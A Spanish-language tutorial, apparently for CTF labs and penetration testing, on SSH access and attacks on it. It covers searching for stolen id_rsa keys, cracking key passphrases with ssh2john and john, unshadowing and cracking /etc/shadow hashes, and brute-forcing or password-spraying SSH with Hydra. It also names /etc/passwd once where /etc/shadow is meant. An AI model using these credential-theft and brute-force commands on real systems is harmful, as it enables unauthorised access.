SSH (Secure Shell) es un protocolo que permite acceder y controlar de forma segura otro ordenador a través de una red. Se usa principalmente para administrar servidores de forma remota mediante una terminal cifrada, protegiendo la comunicación frente a ataques o interceptaciones.

1. Uso básico

# -p {puerto}: puerto alternativo
# -i {rsa}: autenticarse con clave rsa
ssh {usuario}@{dominio} -p {puerto} -i {rsa}

# Ejemplo: conexión por puerto estándar a example.local con usuario pepe
ssh pepe@example.local

# Ejemplo: conexión a SSH en un puerto alternativo
ssh pepe@example.local -p 2222

1.1 Scp

También nos interesa conocer scp (secure copy). Scp es una herramienta de línea de comandos que permite copiar archivos de forma segura entre tu máquina y un servidor remoto (o entre dos servidores), usando el protocolo SSH.

# -P {puerto}: (opcional) especificar un puerto alternativo
# -r: (opcional) copiar un directorio de forma recursiva
scp -P {puerto} -r {origen} {destino}

# Ejemplos
scp sample.txt usuario@servidor:/remote/path/        # Subir archivo	
scp -r mydir usuario@servidor:/remote/path/          # Subir carpeta	
scp user@10.10.10.10:/remote/sample.txt /local/path/ # Descargar archivo
scp -r user@10.10.10.10:/remote/path/ ./local/       # Descargar carpeta	
scp -P 2222 sample.txt user@10.10.10.10:/path/dest/  # Especificar puerto

2. Captura de claves criptográficas

Una de las formas más habituales de conectarnos por SSH a un servidor remoto es mediante el uso de clave pública. Este mecanismo permite autenticarnos sin especificar manualmente una contraseña. Las contraseñas suelen ser más vulnerables porque están más expuestas a filtrarse y suelen ser menos robustas que otras alternativas por la necesidad de ser fácilmente recordables, lo que las hace también más fáciles de adivinar.

En ciertas ocasiones, especialmente en laboratorios de CTF, lograremos filtrar la clave privada de un usuario remoto, lo que nos permitirá autenticarnos como dicho usuario sin conocer su contraseña. Esto es posible en varios escenarios, como los siguientes:

• Si conseguimos ejecución remota de comandos por medio de una vulnerabilidad web y nos permite filtrar el archivo de la clave privada que suele encontrarse en ~/.ssh/id_rsa. Nota: normalmente el servidor web se despliega con el usuario www-data en linux, el cual no suele tener acceso directo por SSH, por lo que solo sería efectivo si el servidor se despliega con un usuario accesible por SSH.
• Si conseguimos acceder al archivo de clave privada por haberse almacenado de forma insegura en un lugar accesible, como una compartición de SMB a la que podamos acceder.
• Si conseguimos acceso al sistema como un usuario (presumiblemente sin privilegios), pero podemos acceder al directorio ~/.ssh de otro usuario por una mala configuración de los permisos de acceso.

Podemos buscar rápidamente el archivo id_rsa de todos los usuarios con el comando find. Ten en cuenta que id_rsa es el nombre que se le da al archivo de clave privada de forma predeterminada, pero el usuario ha podido crear una nueva clave con otro nombre y haber eliminado la clave por defecto, aunque no es lo habitual.

find / -name id_rsa 2> /dev/null

Una vez capturada la clave privada podemos conectarnos remotamente como dicho usuario y no se nos requerirá la contraseña.

# Ejemplo de conexión a 10.0.0.10 con el usuario pepe y la clave capturada
ssh -i id_rsa pepe@10.0.0.10

Es posible que la clave capturada esté protegida por contraseña y en este caso necesitemos crackearla primero. Esto es mucho más rápido que intentar atacar al servicio SSH por fuerza bruta porque el crackeo se realiza de forma local y no generamos tráfico de red adicional. Una forma de hacer esto es mediante las herramientas john para crackear la contraseña y ssh2john para extraer el hash de la clave privada para poder crackearla.

sudo apt update           # Actualizamos la lista de repositorios
sudo apt install john     # Instalamos john si no lo tenemos
locate ssh2john           # Buscamos la ubicación de ssh2john.py
python3 ssh2john id_rsa > hash.txt   # Extraemos el hash de la clave
john -wordlist=/usr/share/wordlists/rockyou.txt hash.txt # Crackeamos
john hash.txt --show      # Mostramos el resultado

3. Captura de hashes

Si logramos acceso remoto al sistema víctima es posible llegar a filtrar los usuarios y contraseñas (encriptadas) del sistema, lo que nos permitiría autenticarnos con otros usuarios. Esta técnica se suele usar para intentar escalar privilegios de un usuario limitado a un superusuario.

Para obtener la lista de usuarios debemos acceder al archivo /etc/passwd del servidor Linux. Este archivo es accesible por cualquier usuario por defecto, por lo que podemos enumerar fácilmente el resto de usuarios del sistema. Por otro lado, disponemos del archivo /etc/passwd donde se guardan las contraseñas encriptadas de los usuarios. Este último archivo es más complicado de obtener porque suele tener unos privilegios más cerrados y solo suele ser accesible por el administrador, pero conviene comprobarlo porque puede darse la posibilidad de que nuestro usuario pertenezca a un grupo que tenga acceso a dicho archivo o que se hayan modificado los permitos del archivo por unos menos restrictivos.

Si logramos acceder solo a los usuarios, podemos tratar de realizar ataques de fuerza bruta SSH usando esta lista de usuarios (se verá más adelante cómo realizar fuerza bruta sobre SSH). Pero si conseguimos acceder también a los hashes, las posibilidades aumentan sustancialmente, ya que podremos tratar de crackearlas localmente, lo cual es mucho más rápido y no compromete la estabilidad del sistema.

Suponiendo que tengamos acceso a ambos ficheros, podemos

# Comprobamos que tengamos john instalado
sudo apt update && sudo apt install john

# Realizamos el unshadow con un fichero de usuarios y otro de contrseñas.
sudo unshadow /etc/passwd /etc/shadow > unshadowed.txt

# Con el fichero unshadowed, lo editamos para eliminar todos los usuarios
# que no nos interese crackear. Puedes editar con nano en lugar de vi.
vi unshadowed.txt

# Ejecutamos el proceso de cracking
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
john unshadowed.txt --show

4. Fuerza bruta

Como último recurso, siempre tenemos la opción de probar fuerza bruta sobre SSH para tratar de descubrir credenciales poco robustas. Una de las formas más sencillas es utilizando la herramienta Hydra.

Debemos tener en cuenta que cada intento de usuario y contraseña provocará una nueva solicitud de conexión. Esto significa que generaremos una gran cantidad de tráfico que puede llegar a desestabilizar el sistema. Esto es importante de cara a no provocar una denegación en el servicio de la compañía para la que estemos realizando las pruebas. En el caso de laboratorios CTF no es tan problemático, ya que bastará con reiniciar el laboratorio.

Como siempre, contamos con una gran cantidad de wordlists disponibles. En este caso se ejemplifica con las wordlists de Seclists disponibles por defecto en Kali linux.

# Primero instalamos las wordlists de Seclists si no las tenemos
sudo apt update && sudo apt install seclists

# NOTA: Para simplificar los comandos, uso users.txt y passwords.txt
# pero debes sustiturilo por wordlists válidas como:
# users.txt: /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt
# passwords.txt: /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt

# Si no conocemos un usuario válido podemos usar una wordlist de usuarios
# comunes que sea preferiblemente corta.
hydra -L users.txt -P passwords.txt -s 22 ssh://10.0.0.10

# Lo ideal es contar con un usuario conocido, esto reducirá enormemente
# la cantidad de tráfico generado y será más efectivo.
hydra -l root -P passwords.txt -s 22 ssh://10.0.0.10

# También podemos realizar un password spray attack, que consiste en probar
# una o unas pocas contraseñas con muchos usuarios distintos. Útil cuando 
# no conocemos ningún usuario válido y el sistema cuenta con muchos usuarios.
hydra -L users.txt -p password1234! -s 22 ssh://10.0.0.10

# Parámetros comunes
# -s 3333: usar otro puerto distinto al por defecto del protocolo
# -t 4: número de hilos paralelos.
# -V: modo verboso, muestra cada intento.
# -f: detiene el ataque al encontrar una combinación válida.
# -L: prueba con una wordlist de nombres de usuario.
# -P: prueba con una wordlist de contraseñas.
# -l: prueba conn un nombre de usuario concreto
# -p: prueba con una contraseña en particular
# ssh://IP: objetivo, usando el protocolo SSH.

Observa que cuando indicamos una wordlist usamos -L o -P en mayúsculas, pero cuando indicamos un valor, como root o password1234!, se pone con minúsculas.